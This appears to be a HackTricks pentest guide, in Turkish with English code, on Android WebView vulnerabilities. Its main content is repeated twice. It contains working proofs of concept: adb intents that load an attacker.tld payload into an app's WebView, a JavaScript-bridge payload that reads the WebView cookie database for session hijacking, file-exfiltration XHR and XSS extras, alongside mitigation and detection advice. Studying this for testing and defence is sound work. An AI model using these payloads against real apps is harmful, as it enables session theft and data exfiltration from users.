Webview Attacks

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

WebView Yapılandırmaları ve Güvenliği Rehberi

WebView Zafiyetlerine Genel Bakış

Android geliştirmesinin kritik bir yönü WebView’ların doğru şekilde ele alınmasıdır. Bu rehber, WebView kullanımıyla ilişkili riskleri azaltmak için temel yapılandırmaları ve güvenlik uygulamalarını vurgular.

WebView Example

File Access in WebViews

Varsayılan olarak, WebView’lar dosya erişimine izin verir. Bu işlevsellik, Android API level 3 (Cupcake 1.5) itibarıyla kullanılabilen setAllowFileAccess() yöntemiyle kontrol edilir. android.permission.READ_EXTERNAL_STORAGE iznine sahip uygulamalar, file URL şeması (file://path/to/file) kullanarak harici depolamadan dosya okuyabilir.

Deprecated Features: Universal and File Access From URLs

  • Universal Access From File URLs: Bu kullanımdan kaldırılmış özellik, file URL’lerinden cross-origin isteklerine izin veriyordu ve potansiyel XSS saldırıları nedeniyle önemli bir güvenlik riski oluşturuyordu. Android Jelly Bean ve sonraki sürümleri hedefleyen uygulamalar için varsayılan ayar devre dışı (false)dır.
  • Bu ayarı kontrol etmek için getAllowUniversalAccessFromFileURLs() kullanın.
  • Bu ayarı değiştirmek için setAllowUniversalAccessFromFileURLs(boolean) kullanın.
  • File Access From File URLs: Bu özellik de kullanımdan kaldırılmış olup diğer file şeması URL’lerinden gelen içeriğe erişimi kontrol ediyordu. Universal access gibi, güvenliği artırmak amacıyla varsayılan değeri devre dışıdır.
  • Kontrol için getAllowFileAccessFromFileURLs() ve ayarlamak için setAllowFileAccessFromFileURLs(boolean) kullanın.

Secure File Loading

Dosya sistemine erişimi devre dışı bırakırken asset ve resource’lara erişimi sürdürmek için setAllowFileAccess() yöntemi kullanılır. Android R ve üzeri sürümlerde varsayılan ayar false dur.

  • Kontrol için getAllowFileAccess() kullanın.
  • Etkinleştirmek veya devre dışı bırakmak için setAllowFileAccess(boolean) kullanın.

WebViewAssetLoader

WebViewAssetLoader sınıfı, yerel dosyaları yüklemek için modern yaklaşımdır. Yerel asset ve kaynaklara erişmek için http(s) URL’leri kullanır; bu, Same-Origin policy ile uyumlu olup CORS yönetimini kolaylaştırır.

loadUrl

Bu, bir WebView içinde rastgele URL’leri yüklemek için yaygın olarak kullanılan bir fonksiyondur:

webview.loadUrl("<url here>")

Elbette, potansiyel bir saldırganın bir uygulamanın yükleneceği URL’yi kontrol etmesi asla mümkün olmamalıdır.

JavaScript ve Intent Scheme İşleme

  • JavaScript: WebView’larda varsayılan olarak devre dışıdır, setJavaScriptEnabled() ile etkinleştirilebilir. Uygun önlemler alınmadan JavaScript’in etkinleştirilmesi güvenlik açıklarına yol açabilir.
  • Intent Scheme: WebView’lar intent şemasını işleyebilir, dikkatle yönetilmezse sömürüye yol açabilir. Bir örnek zafiyette açığa çıkmış bir WebView parametresi “support_url” kullanılarak cross-site scripting (XSS) saldırıları gerçekleştirilebilirdi.

Zafiyetli WebView

adb kullanılarak sömürü örneği:

adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Javascript Köprüsü

Android, bir WebView içindeki JavaScript’in native Android app functions çağırmasını sağlayan bir özellik sunar. Bu, addJavascriptInterface metodunun kullanılmasıyla gerçekleştirilir; bu yöntem JavaScript’i native Android işlevleriyle bütünleştirir ve buna WebView JavaScript bridge denir. Bu yöntemin, WebView içindeki tüm sayfaların kayıtlı JavaScript Interface nesnesine erişmesine izin verdiği için dikkatli olunmalıdır; bu arayüzler aracılığıyla hassas bilgiler açığa çıkarsa güvenlik riski oluşur.

  • Aşırı dikkat gereklidir: Android 4.2’den düşük sürümlere hedeflenen uygulamalar için, reflection kullanarak kötü amaçlı JavaScript ile uzaktan kod çalıştırmaya izin veren bir zafiyet bulunmaktadır.

Bir JavaScript Köprüsünün Uygulanması

  • JavaScript interfaces native kodla etkileşebilir; aşağıdaki örneklerde bir sınıf metodunun JavaScript’e açılmasının gösterildiği gibi:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
  • JavaScript Bridge, WebView’e bir interface ekleyerek etkinleştirilir:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
  • Örneğin bir XSS attack aracılığıyla JavaScript üzerinden potansiyel kötüye kullanım, açığa çıkarılmış Java methods’larının çağrılmasına izin verir:
<script>
alert(javascriptBridge.getSecret())
</script>
  • Riskleri azaltmak için, JavaScript bridge kullanımını yalnızca APK ile gönderilen kodla sınırlandırın ve JavaScript’in uzak kaynaklardan yüklenmesini engelleyin. Eski cihazlar için minimum API level’ı 17 olarak ayarlayın.

Reflection-based Remote Code Execution (RCE)

  • Belgelenmiş bir yöntem, belirli bir payload çalıştırarak reflection yoluyla RCE elde etmeyi sağlar. Ancak @JavascriptInterface annotasyonu yetkisiz metoda erişimi engelleyerek saldırı yüzeyini sınırlar.

Remote Debugging

  • Remote debugging, Chrome Developer Tools ile mümkündür; bu, WebView içeriği ile etkileşime ve keyfi JavaScript çalıştırmaya izin verir.

Enabling Remote Debugging

  • Remote debugging, bir uygulamadaki tüm WebViews için şu şekilde etkinleştirilebilir:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
  • Uygulamanın debuggable durumuna göre debugging’i koşullu olarak etkinleştirmek için:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Exfiltrate arbitrary files

  • XMLHttpRequest kullanarak herhangi bir dosyanın exfiltration’ını gösterir:
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

Webview Attacks

WebView Yapılandırmaları ve Güvenliği Hakkında Rehber

WebView Güvenlik Açıklarına Genel Bakış

Android geliştirme sürecinin kritik bir yönü, WebView’ların doğru şekilde ele alınmasıdır. Bu rehber, WebView kullanımına bağlı riskleri azaltmak için temel yapılandırmaları ve güvenlik uygulamalarını vurgular.

WebView Örneği

WebView’larda Dosya Erişimi

Varsayılan olarak, WebView’lar dosya erişimine izin verir. Bu işlevsellik setAllowFileAccess() yöntemiyle kontrol edilir; Android API level 3’ten (Cupcake 1.5) beri mevcuttur. android.permission.READ_EXTERNAL_STORAGE iznine sahip uygulamalar, harici depolamadan file://path/to/file gibi bir file URL şeması kullanarak dosya okuyabilir.

Kullanımdan Kaldırılmış Özellikler: File URL’lerinden Universal ve Dosya Erişimi

  • File URL’lerinden Evrensel Erişim: Bu kullanımdan kaldırılmış özellik, file URL’lerinden gelen cross-origin isteklerine izin veriyordu ve potansiyel XSS saldırıları nedeniyle ciddi bir güvenlik riski oluşturuyordu. Android Jelly Bean ve sonrası hedefleyen uygulamalar için varsayılan ayar devre dışıdır (false).
  • Bu ayarı kontrol etmek için getAllowUniversalAccessFromFileURLs() kullanın.
  • Bu ayarı değiştirmek için setAllowUniversalAccessFromFileURLs(boolean) kullanın.
  • File URL’lerinden Dosya Erişimi: Bu özellik de kullanımdan kaldırılmış olup, diğer file şeması URL’lerinden gelen içeriğe erişimi kontrol ediyordu. Evrensel erişimde olduğu gibi, güvenliği artırmak için varsayılanı devre dışıdır.
  • Kontrol etmek için getAllowFileAccessFromFileURLs() ve ayarlamak için setAllowFileAccessFromFileURLs(boolean) kullanın.

Güvenli Dosya Yükleme

Varlıkları ve kaynakları yine de erişilebilir tutarken dosya sistemi erişimini devre dışı bırakmak için setAllowFileAccess() yöntemi kullanılır. Android R ve sonrası için varsayılan ayar false’tur.

  • Kontrol etmek için getAllowFileAccess().
  • Etkinleştirmek veya devre dışı bırakmak için setAllowFileAccess(boolean).

WebViewAssetLoader

WebViewAssetLoader sınıfı, yerel dosyaları yüklemek için modern yaklaşımdır. Yerel varlıklara ve kaynaklara erişmek için http(s) URL’leri kullanır; Aynı Kaynak (Same-Origin) politikasıyla uyumlu olduğundan CORS yönetimini kolaylaştırır.

loadUrl

Bu, bir WebView’da rastgele URL’leri yüklemek için sık kullanılan bir işlevdir:

webview.loadUrl("<url here>")

Elbette, potansiyel bir attacker hiçbir zaman bir uygulamanın yükleyeceği URL’yi kontrol edememeli.

Deep-linking into internal WebView (custom scheme → WebView sink)

Birçok uygulama, kullanıcı tarafından sağlanan bir URL’yi uygulama içi bir WebView’e yönlendiren custom schemes/paths kaydeder. Eğer deep link exported (VIEW + BROWSABLE) ise, bir attacker uygulamayı WebView context’i içinde keyfi uzak içerikleri render etmeye zorlayabilir.

Tipik manifest deseni (basitleştirilmiş):

<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myscheme" android:host="com.example.app" />
</intent-filter>
</activity>

Yaygın code akışı (basitleştirilmiş):

// Entry activity
@Override
protected void onNewIntent(Intent intent) {
Uri deeplink = intent.getData();
String url = deeplink.getQueryParameter("url"); // attacker-controlled
if (deeplink.getPathSegments().get(0).equals("web")) {
Intent i = new Intent(this, WebActivity.class);
i.putExtra("url", url);
startActivity(i);
}
}

// WebActivity sink
webView.loadUrl(getIntent().getStringExtra("url"));

adb üzerinden saldırı deseni ve PoC:

# Template – force load in internal WebView
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# If a specific Activity must be targeted
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Etkisi: uzak sayfa uygulama WebView bağlamında çalışır (uygulamanın WebView profilinin çerezleri/oturumu, açığa çıkmış herhangi bir @JavascriptInterface’e erişim, ayarlara bağlı olarak content:// ve file:// erişimi potansiyeli).

Keşif ipuçları:

  • Decompile edilmiş kaynaklarda getQueryParameter("url"), loadUrl(, WebView sinks ve deep-link handler’ları (onCreate/onNewIntent) için grep yapın.
  • Manifest’i VIEW+BROWSABLE filtreleri ve daha sonra bir WebView başlatan aktivitelere eşlenen özel scheme/host’lar için inceleyin.
  • Birden fazla deep-link yolu (ör. “external browser” yolu vs. “internal webview” yolu) olup olmadığını kontrol edin ve uygulama içinde render eden yolu tercih edin.

Doğrulamadan önce JavaScript’i etkinleştirme (order-of-checks bug)

Sık rastlanan bir sertleştirme hatası, hedef URL’nin son allowlist/doğrulaması tamamlanmadan önce JavaScript’i etkinleştirmek veya gevşek WebView ayarlarını yapılandırmaktır. Doğrulama yardımcılar arasında tutarsızsa veya çok geç gerçekleşirse, bir saldırganın deep link’i şu duruma ulaşabilir:

  1. WebView ayarları uygulanır (ör. setJavaScriptEnabled(true)), ve
  2. JavaScript etkin halde iken güvenilmeyen URL yüklenir.

Hata deseni (pseudocode):

// 1) Parse/early checks
Uri u = parse(intent);
if (!looksValid(u)) return;

// 2) Configure WebView BEFORE final checks
webView.getSettings().setJavaScriptEnabled(true); // BAD: too early
configureMixedContent();

// 3) Do final verification (late)
if (!finalAllowlist(u)) return; // too late – JS already enabled

// 4) Load
webView.loadUrl(u.toString());

Neden istismar edilebilir

  • Tutarsız normalizasyon: yardımcılar URL’yi final kontrolden farklı şekilde bölüp/yeniden oluşturur, bu da kötü amaçlı bir URL’nin istismar edebileceği uyumsuzluklar yaratır.
  • Sıralama hatası: adım 2’de JS’i etkinleştirmek WebView örneği genelinde uygulanır, doğrulama daha sonra başarısız olsa bile son yüklemeyi etkiler.

Nasıl test edilir

  • Erken kontrolleri geçip WebView yapılandırma sitesine ulaşan deep-link payloads oluşturun.
  • adb kullanarak, sizin kontrolünüzdeki bir url= parametresini ileten implicit VIEW intents tetikleyin:
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Eğer exploitation başarılı olursa, payload’unuz uygulamanın WebView’unda JavaScript çalıştırır. Oradan, exposed bridges için probe yapın:

<script>
for (let k in window) {
try { if (typeof window[k] === 'object' || typeof window[k] === 'function') console.log('[JSI]', k); } catch(e){}
}
</script>

Savunma yönergeleri

  • Bir kez canonicalize edin; doğrulamayı tek bir kaynak (scheme/host/path/query) karşısında sıkı şekilde yapın.
  • Tüm allowlist kontrolleri geçtikten ve güvenilir içeriği yüklemeden hemen önce setJavaScriptEnabled(true)’i çağırın.
  • @JavascriptInterface’i güvenilmeyen origin’lere açmaktan kaçının; her origin için ayrı erişim kontrolü tercih edin.
  • Güvenilir ve güvenilmeyen içerik için ayrı WebView örnekleri kullanmayı düşünün; JS varsayılan olarak kapalı olsun.

JavaScript ve Intent Scheme İşleme

  • JavaScript: WebView’larda varsayılan olarak devre dışıdır, setJavaScriptEnabled() ile etkinleştirilebilir. Uygun önlemler olmadan JavaScript’i etkinleştirmek güvenlik açıklarına yol açabilir.
  • Intent Scheme: WebView’lar intent şemasını işleyebilir; doğru yönetilmezse bu potansiyel olarak istismarlara yol açabilir. Bir örnek zayıflık, ifşa edilmiş bir WebView parametresi “support_url” içeriyordu ve bu, cross-site scripting (XSS) attacks gerçekleştirmek için kullanılabiliyordu.

Zayıf WebView

adb kullanılarak sömürü örneği:

adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Javascript Bridge

Android tarafından sağlanan bir özellik, bir WebView içindeki JavaScript’in native Android app functions’ı çağırmasını sağlar. Bu, JavaScript’i native Android işlevleriyle bütünleştiren addJavascriptInterface yöntemi kullanılarak gerçekleştirilir; buna WebView JavaScript bridge denir. Bu yöntem, WebView içindeki tüm sayfaların kayıtlı JavaScript Interface object’e erişmesine izin verdiği için dikkatli olunmalıdır; bu arayüzler aracılığıyla hassas bilgiler açığa çıkarsa güvenlik riski oluşturur.

  • Android 4.2 altı sürümlere hedeflenen uygulamalar için, reflection’ı istismar eden kötü amaçlı JavaScript aracılığıyla uzaktan kod çalıştırmaya izin veren bir güvenlik açığı bulunduğundan aşırı dikkat gereklidir.

JavaScript Bridge’in Uygulanması

  • JavaScript interfaces native kodla etkileşebilir; aşağıdaki örneklerde bir sınıf metodunun JavaScript’e açıldığı gösterilmiştir:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
  • JavaScript Bridge, WebView’e bir interface eklenerek etkinleştirilir:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
  • JavaScript aracılığıyla potansiyel istismar, örneğin XSS attack ile, exposed Java methods çağrılmasını sağlar:
<script>
alert(javascriptBridge.getSecret())
</script>
  • Riskleri hafifletmek için, JavaScript bridge kullanımını yalnızca APK ile dağıtılan kodla sınırlayın ve JavaScript’in uzak kaynaklardan yüklenmesini engelleyin. Eski cihazlar için minimum API level’ı 17 olarak ayarlayın.

dispatcher-style JS bridges (invokeMethod/handlerName) kötüye kullanımı

Yaygın bir desen, tek bir dışa açılmış yöntemdir (ör. @JavascriptInterface void invokeMethod(String json)) — saldırgan kontrollü JSON’u genel bir nesneye deserialize eder ve sağlanan handler adına göre yönlendirir. Tipik JSON biçimi:

{
"handlerName": "toBase64",
"callbackId": "cb_12345",
"asyncExecute": "true",
"data": { /* handler-specific fields */ }
}

Risk: Kayıtlı herhangi bir handler saldırgan verisi üzerinde ayrıcalıklı işlemler yapıyorsa (ör. doğrudan dosya okumaları), uygun şekilde handlerName ayarlayarak onu çağırabilirsiniz. Sonuçlar genellikle evaluateJavascript aracılığıyla sayfa bağlamına ve callbackId anahtarlı bir callback/promise mekanizmasıyla iletilir.

Key hunting steps

  • Bridge nesne adını öğrenmek için addJavascriptInterface( için decompile edip grep yapın (ör. xbridge).
  • Chrome DevTools’da (chrome://inspect) Console’a bridge nesne adını yazın (ör. xbridge) ve açığa çıkan fields/methods öğelerini listeleyin; invokeMethod gibi genel bir dispatcher arayın.
  • Handler’ları, getModuleName() uygulayan sınıfları veya kayıt map’lerini arayarak sırala.

Arbitrary file read via URI → File sinks (Base64 exfiltration)

Eğer bir handler bir URI alıyorsa, Uri.parse(req.getUri()).getPath() çağırıyor, new File(...) oluşturuyor ve allowlist veya sandbox kontrolleri olmadan okuyorsa, WebView ayarlarını (ör. setAllowFileAccess(false)) atlayan ve uygulama sandbox’ında rastgele dosya okuma elde edersiniz (okuma native kodda gerçekleşir, WebView ağ yığını üzerinden değil).

PoC to exfiltrate the Chromium WebView cookie DB (session hijack):

// Minimal callback sink so native can deliver the response
window.WebViewJavascriptBridge = {
_handleMessageFromObjC: function (data) { console.log(data) }
};

const payload = JSON.stringify({
handlerName: 'toBase64',
callbackId: 'cb_' + Date.now(),
data: { uri: 'file:///data/data/<pkg>/app_webview/Default/Cookies' }
});

xbridge.invokeMethod(payload);

Notlar

  • Cookie DB paths cihazlar/sağlayıcılar arasında değişir. Yaygın olanlar:
  • file:///data/data/<pkg>/app_webview/Default/Cookies
  • file:///data/data/<pkg>/app_webview_<pkg>/Default/Cookies
  • Handler Base64 döndürür; decode ederek çerezleri kurtarın ve uygulamanın WebView profilinde kullanıcıyı taklit edin.

Tespit ipuçları

  • Uygulamayı kullanırken evaluateJavascript aracılığıyla döndürülen büyük Base64 string’lerine dikkat edin.
  • Decompile edilmiş kaynaklarda, uri/path kabul eden ve bunları new File(...)’a dönüştüren handler’ları grep’leyin.

WebView ayrıcalık kontrollerini atlatma – endsWith() host kontrolleri

Yetki kararları (JSB etkinleştirilmiş bir Activity seçimi) genellikle host allowlists’e dayanır. Hatalı bir desen şudur:

String host = Uri.parse(url).getHost();
boolean z = true;
if (!host.endsWith(".trusted.com")) {
if (!".trusted.com".endsWith(host)) {
z = false;
}
}
// z==true → open privileged WebView

Eşdeğer mantık (De Morgan’ın):

boolean z = host.endsWith(".trusted.com") ||
".trusted.com".endsWith(host);

Bu bir origin kontrolü değildir. Birçok istenmeyen host ikinci hükmü karşılayarak, untrusted domainlerin ayrıcalıklı Activity’ye girmesine izin verir. Her zaman scheme ve host’u katı bir allowlist’e karşı doğrulayın (tam eşleşme veya nokta sınırlarıyla doğru bir subdomain kontrolü), endsWith hileleriyle değil.

javascript:// execution primitive via loadUrl

Ayrıcalıklı bir WebView’e eriştikten sonra, uygulamalar bazen inline JS’i şu şekilde çalıştırır:

webView.loadUrl("javascript:" + jsPayload);

Eğer dahili bir akış o bağlamda loadUrl("javascript:...") tetiklerse, enjekte edilen JS, dış sayfa normalde izinli olmasa bile bridge erişimi ile çalıştırılır. Pentest adımları:

  • Uygulamada loadUrl("javascript: ve evaluateJavascript( için Grep yap.
  • Ayrıcalıklı WebView’e zorlayarak (ör. permissive deep link chooser aracılığıyla) bu kod yollarına ulaşmayı dene.
  • Primitive’i kullanarak dispatcher’ı (xbridge.invokeMethod(...)) çağır ve hassas handlers’a ulaş.

Mitigations (developer checklist)

  • Ayrıcalıklı Activities için katı origin doğrulaması: scheme/host’u canonicalize edip açıkça belirtilen bir allowlist’e karşı karşılaştır; endsWith-tabanlı kontrollerden kaçın. Uygunsa Digital Asset Links’i dikkate al.
  • Bridge’leri yalnızca güvenilen sayfalara sınırla ve her çağrıda güveni yeniden kontrol et (per-call authorization).
  • Dosya sistemi yeteneği olan handler’ları kaldır veya sıkı koru; ham file:// yolları yerine content:// ile allowlist’ler/permissions tercih et.
  • Ayrıcalıklı bağlamlarda loadUrl("javascript:") kullanmaktan kaçın ya da onu güçlü kontrollerin arkasına al.
  • Unutma setAllowFileAccess(false) bridge üzerinden yapılan native dosya okumalarına karşı koruma sağlamaz.

JSB enumeration and debugging tips

  • Enable WebView remote debugging to use Chrome DevTools Console:
  • Uygulama tarafı (debug build’ler): WebView.setWebContentsDebuggingEnabled(true)
  • Sistem tarafı: modules like LSPosed or Frida scripts can force-enable debugging even in release builds. Example Frida snippet for Cordova WebViews: cordova enable webview debugging
  • DevTools’ta bridge nesnesinin adını (örn. xbridge) yaz, açığa çıkan üyeleri gör ve dispatcher’ı sorgula.

Reflection-based Remote Code Execution (RCE)

  • Belgelenmiş bir yöntem, belirli bir payload’u çalıştırarak reflection yoluyla RCE elde etmeye izin verir. Ancak, @JavascriptInterface annotation’ı yetkisiz metod erişimini engeller ve saldırı yüzeyini sınırlar.

Uzak hata ayıklama

  • Uzak hata ayıklama Chrome Developer Tools ile mümkündür; WebView içeriği içinde etkileşim ve keyfi JavaScript çalıştırmaya izin verir.

Uzak hata ayıklamayı etkinleştirme

  • Uygulama içindeki tüm WebView’lar için remote debugging şu şekilde etkinleştirilebilir:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
  • Uygulamanın debuggable durumuna bağlı olarak debugging’i koşullu olarak etkinleştirmek için:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Exfiltrate arbitrary files

  • Örnek: exfiltration of arbitrary files using an XMLHttpRequest:
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

WebView XSS via Intent extras → loadData()

Sık karşılaşılan bir zafiyet, gelen bir Intent extra’sından saldırgan kontrollü veriyi okuyup JavaScript etkinken loadData() ile doğrudan bir WebView’a enjekte etmektir.

Zafiyetli desen (exported Activity, gelen extra’yı okuyup bunu HTML olarak render eder):

String data = getIntent().getStringExtra("data");
if (data == null) { data = "Guest"; }
WebView webView = findViewById(R.id.webview);
webView.getSettings().setJavaScriptEnabled(true);
webView.setWebChromeClient(new WebChromeClient());
String userInput = "\n\n# Welcome\n\n" + "\n\n" + data + "\n\n";
webView.loadData(userInput, "text/html", "UTF-8");

Eğer o Activity exported (veya exported bir proxy aracılığıyla erişilebiliyorsa), kötü amaçlı bir uygulama reflected XSS elde etmek için data extra’sına HTML/JS sağlayabilir:

# Replace package/component with the vulnerable Activity
adb shell am start -n com.victim/.ExportedWebViewActivity --es data '<img src=x onerror="alert(1)">'

Impact

  • Uygulamanın WebView bağlamında keyfi JS: @JavascriptInterface bridge’lerini listeleme/kullanma, WebView çerezlerine/yerel depolamaya erişim, ayarlara bağlı olarak file:// veya content://’a pivot yapma.

Mitigations

  • Tüm Intent kaynaklı girdileri güvenilmez olarak kabul edin. HTML’i escape edin (Html.escapeHtml) veya reddedin; güvenilmeyen metni HTML yerine düz metin olarak render etmeyi tercih edin.
  • JavaScript’i yalnızca kesinlikle gerekliyse etkinleştirin; güvenilmeyen içerik için WebChromeClient’ı açmayın.
  • Şablonlanmış HTML renderlemeniz gerekiyorsa, güvenli bir base ve CSP ile loadDataWithBaseURL() kullanın; güvenilen/güvenilmeyen WebView’leri ayrı tutun.
  • Activity’yi dışa açmaktan kaçının; gerekmedikçe dışa açıksa izinlerle koruyun.

Related

Kaynaklar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin